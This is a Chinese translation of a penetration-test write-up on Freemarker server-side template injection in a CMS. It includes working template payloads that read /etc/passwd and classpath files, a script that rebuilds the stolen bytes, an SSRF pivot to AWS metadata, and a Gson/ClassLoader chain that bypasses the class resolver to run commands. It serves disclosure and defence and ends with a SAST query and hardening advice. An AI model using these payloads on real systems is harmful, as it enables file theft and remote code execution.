文章来源:https://ackcent.com/blog/in-depth-freemarker-template-injection/
在最近一次渗透测试中,AppSec团队碰到了一个棘手的Freemarker服务端模板注入。我们在网上没有找到深入研究有关这类注入的文章,于是决定写下本文。对于这篇Freemarker注入的文章来说,我们将着重介绍我们是如何灵活变通,尝试各种方法,最后成功注入。
我们被分配测试一个内容管理系统(CMS)应用,用户可以通过这个CMS在网上发布各种内容。在本次测试中,我们只有一些低权限账户,因此,测试的一个重要目标就是弄清楚是否存在一些越权漏洞,并尝试取得最高权限。
经过一些探索性测试后,我们偶然发现了一个功能,用户可以通过其按钮来管理模板。这个模板为Freemarker,我立马想到可能存在服务端模板注入漏洞。有一个快速,公开的的Poc常用于该模板,能够获取任意代码执行权限:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id)}
但问题是我们的账户权限非常低,没有编辑模板的权限,因此我们首先需要提升权限。很幸运,经过几个小时的努力,最后发现权限管理系统存在一个认证缺陷,利用这点我可以窃取站点管理员权限。Nice!下一步是尝试代码执行。我们创建一个模板,粘贴Poc然后获得以下反馈:
Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.
好吧,它并不是不堪一击。
Freemarker模板为了限制TemplateModels
被实例化,在其配置中注册了TemplateClassResolver。下面是三个预定义的解析器:
UNRESTRICTED_RESOLVER
:简单地调用ClassUtil.forName(String)
。SAFER_RESOLVER
:和第一个类似,但禁止解析ObjectConstructor
, Execute
和freemarker.template.utility.JythonRuntime
。ALLOWS_NOTHING_RESOLVER
:禁止解析任何类。目标使用的模板类解析器为:ALLOWS_NOTHING_RESOLVER
,所以我们无法使用?new
。也就是我们不能使用任何TemplateModel
,不能利用它来获取任意代码执行。我们开始阅读Freemarker说明文档,想找到其他办法来造成服务端模板注入。
?api
经过一番搜寻,我发现Freemarker支持一个内置函数:?api,通过它可以访问底层Java Api Freemarker的BeanWrappers
。这个内置函数默认不开启,但通过Configurable.setAPIBuiltinEnabled可以开启它。我们非常幸运,因为目标模板的这个函数是开启的,我们可延伸的方向又多了起来。
但执行代码仍非易事:Freemarker模板有很好的安全防护,它严格限制?api
访问的类和方法。在其官方的Github存储库中,我们发现一个特性文件,该文件列出了禁止调用的名单。
简单归纳:我们无法调用Class.forName
,Class.getClassLoader
, Class.newInstance
, Constructor.newInstance
和Method.invoke
。获得任意代码执行权限的机会渺茫。但通过Java调用和表达式一定还存在其他有趣的方法可以实现,我们没有气馁,仍继续探索。
我们后来发现Object.getClass
没有被禁用。利用它可以通过模板中公开的BeanWrapper
来访问Class<?>
类,并从其中调用getResourceAsStream。然后,我们就可以访问该应用类路径中的任意文件了。通过这个方法读取文件内容可能有些复杂(可能有其他捷径)。我们尝试下面这段代码:
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
(注意这里的object
是一个BeanWrapper
,它是模板自带的数据模型之一)在渲染模板后,所选文件的每个字节都会呈现出来,并且以[]
间隔开来。这有点繁琐,通过Python脚本可以快速将其转换为一个文件。
match = re.search(r'FILE:(.*),\s*(\\n)*?]', response)
literal = match.group(1) + ']'
literal = literal.replace('\\n', '').strip()
b = ast.literal_eval(literal)
barray = bytearray(b)
with open('exfiltrated', 'w') as f:
f.write(barray)
然后,我们就可以列出目录的所有内容,我们可以访问.properties
这类敏感文件,它们可能包含一些访问凭据,还可以下载.jar
和.class
文件,从而反编译获取程序源代码。这时,渗透测试似乎变成代码审计,AppSec团队在这方面有丰富的经验。一段时间后,我们发现一个大奖,在源代码中找到了AWS的明文凭据,利用它可以访问高价值的AWS S3储存桶。这是个血的教训:(开发者)千万不能因为“黑客无法访问它”而将明文凭据放在源代码中。
我们被困在类路径中,有些无聊,于是继续深入发掘。仔细阅读Java文档后,我们发现可以通过Class.getResource
的返回值来访问对象URI
,该对象包含方法toURL
。因为URI提供静态方法create
,通过该方法我们可以创建任意URI
,然后用otURL
将其返回至URI
。经过一些修改,我们构造下面这段代码来窃取系统的任意文件:
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
这段代码很好,但仍不是完美的。我们使用http://
(https://
或ftp://
)替换掉file://
,此时一个受限的模板注入变成一个完全的服务端模板注入了!为进一步扩大影响,我们可以通过它来查询AWS元数据。
Cool,让我们进一步探究能否再干点什么。
重新读完Java文档的Class部分后,我们注意到了getProtectionDomain
方法。通过该方法可以访问对象ProtectionDomain,巧合的是,该对象有自己的getClassLoader
方法。Freemarker的unsafeMethods.properties
文件没有限制调用ProtectionDomain.getClassLoader
,因此我们找到了一个通过模板访问ClassLoader
的方法。
现在我们可以加载引用任意类(即Class<?>
对象),但是我们仍不能实例化它们或调用其方法。尽管这样,我们可以检查字段,如果是static
的我们还可以获取它们的值(对于非静态,我们没有合适的实例来访问它们)。这似乎有点希望,我们查获取最终的代码执行只差一步。
前面我们通过getResourceAsStream
方法已经下载了一大堆源代码,这时我们再次审查它们,搜寻可以可以加载并且有静态字段的类。一会儿后,我们找到了:一个字段为public static final
的类,它是Gson的一个实例。Gson是一个谷歌创建的JSON对象操作库,它的安全性很高。但我们目前可以访问实例,要想实例化任意类只是时间问题:
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign instance=gson?api.fromJson("{}", classLoader.loadClass("our.desired.class"))>
(我们通过Field.get
访问静态字段,所以并不需要参数,只需简单使用null
。)
我们可以实例化任意对象。但因为unsafeMethods.properties
安全政策的存在,Runtime.getRuntime
等方法无法实现,我们不能直接获取代码执行。但我突然发现,使用Freemarker自带的模板模型Execute
,并且无需使用内置的?new
来实例化。OK,问题都解决了,我们找到了获取任意代码执行的方法:
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}
反馈:
uid=81(tomcat) gid=81(tomcat) groups=81(tomcat)
开发者如果在早期用SAST扫描其源代码,该问题在开发阶段就能解决,而不至于拖到今天,并且修复起来也更简单。在SAST工具上,我写了下面这段查询,它是一个出色的代码审计工具:
CxList setApiBuiltIn = Find_Methods().FindByShortName("setAPIBuiltinEnabled");
CxList setApiBuiltInParams = All.GetParameters(setApiBuiltIn);
result = setApiBuiltIn.FindByParameters(setApiBuiltInParams.FindByShortName("true"));
Freemarker内置的?api
默认不开启,所以使用ture
可以轻松查找setAPIBuiltinEnabled
方法的调用,并从报告结果中获取漏洞提升。
本文,我们分享了当Freemarker的TemplateClassResolver
全部禁用时如何绕过,间接造成模板注入。通过利用内置的?api
,发现获取敏感数据的方法,并且通过过与某个特殊类的组合来造成任意代码执行。
总结几个重点:
?api
是否开启?攻击者滥用它可以做一些危险的事,例如下载源代码,造成SSRF或者RCE。这就是它默认关闭的原因。除非迫不得已,请勿开启它。Serializable
类泄露的敏感数据有着极高的风险。Freemarker自带一些保护措施(例如关闭像setAccessible
这样危险的映射方法),具有良好的安全性和经得起实践的代码总能使攻击者举步维艰。总之,这是一次非常棒的渗透测试,在发现禁用如何解析器时我们对获取代码执行几乎绝望,但绕过的过程很有趣。此外,我们希望这篇文章对于发现自己处于类似情况,研究在受限或者沙盒中如何突破限制的渗透测试者所有帮助。